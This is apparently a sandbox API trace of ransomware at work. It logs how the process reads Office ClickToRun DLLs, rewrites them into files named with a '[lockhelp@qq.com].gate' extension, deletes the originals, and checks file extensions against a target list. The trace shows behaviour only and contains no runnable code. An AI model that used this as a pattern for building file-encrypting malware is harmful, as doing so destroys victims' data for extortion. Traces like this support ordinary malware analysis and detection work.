1 [0319.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x20 [0319.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0319.506] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.506] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0319.506] GetLastError () returned 0x0 [0319.506] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x5ac0, lpOverlapped=0x0) returned 1 [0319.536] WriteFile (in: hFile=0x360, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0x5ad0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0x5ad0, lpOverlapped=0x0) returned 1 [0319.537] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.537] WriteFile (in: hFile=0x360, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0x116, lpOverlapped=0x0) returned 1 [0319.537] SetEndOfFile (hFile=0x360) returned 1 [0319.538] CloseHandle (hObject=0x360) returned 1 [0319.538] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.538] SetEndOfFile (hFile=0x348) returned 1 [0319.539] CloseHandle (hObject=0x348) returned 1 [0319.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.539] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 1 [0319.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0319.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0319.539] lstrlenW (lpString=".doc") returned 4 [0319.539] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.539] lstrlenW (lpString=".docx") returned 5 [0319.539] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.539] lstrlenW (lpString=".pdf") returned 4 [0319.539] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.539] lstrlenW (lpString=".xls") returned 4 [0319.539] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.539] lstrlenW (lpString=".xlsx") returned 5 [0319.539] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.539] lstrlenW (lpString=".ppt") returned 4 [0319.539] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0319.540] lstrlenW (lpString=".zip") returned 4 [0319.540] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.540] lstrlenW (lpString=".rar") returned 4 [0319.540] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.540] lstrlenW (lpString=".bz2") returned 4 [0319.540] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.540] lstrlenW (lpString=".7z") returned 3 [0319.540] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0319.540] lstrlenW (lpString=".dbf") returned 4 [0319.540] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0319.540] lstrlenW (lpString=".1cd") returned 4 [0319.540] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0319.540] lstrlenW (lpString=".jpg") returned 4 [0319.540] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0319.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0319.540] lstrlenW (lpString=".doc") returned 4 [0319.540] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.540] lstrlenW (lpString=".docx") returned 5 [0319.540] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.540] lstrlenW (lpString=".pdf") returned 4 [0319.540] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.540] lstrlenW (lpString=".xls") returned 4 [0319.540] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.540] lstrlenW (lpString=".xlsx") returned 5 [0319.541] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.541] lstrlenW (lpString=".ppt") returned 4 [0319.541] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0319.541] lstrlenW (lpString=".zip") returned 4 [0319.541] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.541] lstrlenW (lpString=".rar") returned 4 [0319.541] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.541] lstrlenW (lpString=".bz2") returned 4 [0319.541] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.541] lstrlenW (lpString=".7z") returned 3 [0319.541] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0319.541] lstrlenW (lpString=".dbf") returned 4 [0319.541] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0319.541] lstrlenW (lpString=".1cd") returned 4 [0319.541] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0319.541] lstrlenW (lpString=".jpg") returned 4 [0319.541] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.542] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.542] lstrlenW (lpString="api-ms-win-crt-time-l1-1-0.dll") returned 30 [0319.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0319.542] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=21184) returned 1 [0319.542] CloseHandle (hObject=0x348) returned 1 [0319.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x20 [0319.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0319.542] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.542] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0319.543] GetLastError () returned 0x0 [0319.543] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x52c0, lpOverlapped=0x0) returned 1 [0319.611] WriteFile (in: hFile=0x360, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0x52d0, lpOverlapped=0x0) returned 1 [0319.612] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.612] WriteFile (in: hFile=0x360, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0x110, lpOverlapped=0x0) returned 1 [0319.613] SetEndOfFile (hFile=0x360) returned 1 [0319.613] CloseHandle (hObject=0x360) returned 1 [0319.613] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.613] SetEndOfFile (hFile=0x348) returned 1 [0319.614] CloseHandle (hObject=0x348) returned 1 [0319.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.614] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 1 [0319.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0319.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0319.614] lstrlenW (lpString=".doc") returned 4 [0319.614] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.615] lstrlenW (lpString=".docx") returned 5 [0319.615] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.615] lstrlenW (lpString=".pdf") returned 4 [0319.615] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.615] lstrlenW (lpString=".xls") returned 4 [0319.615] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.615] lstrlenW (lpString=".xlsx") returned 5 [0319.615] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.615] lstrlenW (lpString=".ppt") returned 4 [0319.615] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0319.615] lstrlenW (lpString=".zip") returned 4 [0319.615] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.615] lstrlenW (lpString=".rar") returned 4 [0319.615] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.615] lstrlenW (lpString=".bz2") returned 4 [0319.615] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.615] lstrlenW (lpString=".7z") returned 3 [0319.615] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0319.615] lstrlenW (lpString=".dbf") returned 4 [0319.615] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0319.615] lstrlenW (lpString=".1cd") returned 4 [0319.615] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0319.615] lstrlenW (lpString=".jpg") returned 4 [0319.615] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0319.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0319.616] lstrlenW (lpString=".doc") returned 4 [0319.616] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.616] lstrlenW (lpString=".docx") returned 5 [0319.616] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.616] lstrlenW (lpString=".pdf") returned 4 [0319.616] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.616] lstrlenW (lpString=".xls") returned 4 [0319.616] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.616] lstrlenW (lpString=".xlsx") returned 5 [0319.616] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.616] lstrlenW (lpString=".ppt") returned 4 [0319.616] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0319.616] lstrlenW (lpString=".zip") returned 4 [0319.616] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.616] lstrlenW (lpString=".rar") returned 4 [0319.616] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.616] lstrlenW (lpString=".bz2") returned 4 [0319.616] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.616] lstrlenW (lpString=".7z") returned 3 [0319.616] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0319.616] lstrlenW (lpString=".dbf") returned 4 [0319.617] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0319.617] lstrlenW (lpString=".1cd") returned 4 [0319.617] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0319.617] lstrlenW (lpString=".jpg") returned 4 [0319.617] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.617] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.618] lstrlenW (lpString="AppvIsvStream64.dll") returned 19 [0319.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0319.618] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=473760) returned 1 [0319.618] CloseHandle (hObject=0x348) returned 1 [0319.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 0x20 [0319.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0319.618] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.619] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0319.619] GetLastError () returned 0x0 [0319.619] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x73aa0, lpOverlapped=0x0) returned 1 [0319.703] WriteFile (in: hFile=0x360, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0x73ab0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0x73ab0, lpOverlapped=0x0) returned 1 [0319.712] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.712] WriteFile (in: hFile=0x360, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0xfa, lpOverlapped=0x0) returned 1 [0319.712] SetEndOfFile (hFile=0x360) returned 1 [0319.712] CloseHandle (hObject=0x360) returned 1 [0319.712] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.712] SetEndOfFile (hFile=0x348) returned 1 [0319.718] CloseHandle (hObject=0x348) returned 1 [0319.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.718] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 1 [0319.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0319.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0319.718] lstrlenW (lpString=".doc") returned 4 [0319.718] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.718] lstrlenW (lpString=".docx") returned 5 [0319.719] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0319.719] lstrlenW (lpString=".pdf") returned 4 [0319.719] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.719] lstrlenW (lpString=".xls") returned 4 [0319.719] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.719] lstrlenW (lpString=".xlsx") returned 5 [0319.719] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0319.719] lstrlenW (lpString=".ppt") returned 4 [0319.719] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0319.719] lstrlenW (lpString=".zip") returned 4 [0319.719] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.719] lstrlenW (lpString=".rar") returned 4 [0319.719] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.719] lstrlenW (lpString=".bz2") returned 4 [0319.719] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.719] lstrlenW (lpString=".7z") returned 3 [0319.719] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0319.719] lstrlenW (lpString=".dbf") returned 4 [0319.719] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0319.719] lstrlenW (lpString=".1cd") returned 4 [0319.719] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0319.719] lstrlenW (lpString=".jpg") returned 4 [0319.719] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0319.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0319.719] lstrlenW (lpString=".doc") returned 4 [0319.719] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.719] lstrlenW (lpString=".docx") returned 5 [0319.719] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0319.719] lstrlenW (lpString=".pdf") returned 4 [0319.720] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.720] lstrlenW (lpString=".xls") returned 4 [0319.720] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.720] lstrlenW (lpString=".xlsx") returned 5 [0319.720] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0319.720] lstrlenW (lpString=".ppt") returned 4 [0319.720] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0319.720] lstrlenW (lpString=".zip") returned 4 [0319.720] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.720] lstrlenW (lpString=".rar") returned 4 [0319.720] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.720] lstrlenW (lpString=".bz2") returned 4 [0319.720] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.720] lstrlenW (lpString=".7z") returned 3 [0319.720] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0319.720] lstrlenW (lpString=".dbf") returned 4 [0319.720] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0319.720] lstrlenW (lpString=".1cd") returned 4 [0319.720] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0319.720] lstrlenW (lpString=".jpg") returned 4 [0319.720] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.720] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.720] lstrlenW (lpString="AppVIsvStreamingManager.dll") returned 27 [0319.720] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0319.721] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=210648) returned 1 [0319.721] CloseHandle (hObject=0x348) returned 1 [0319.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Common 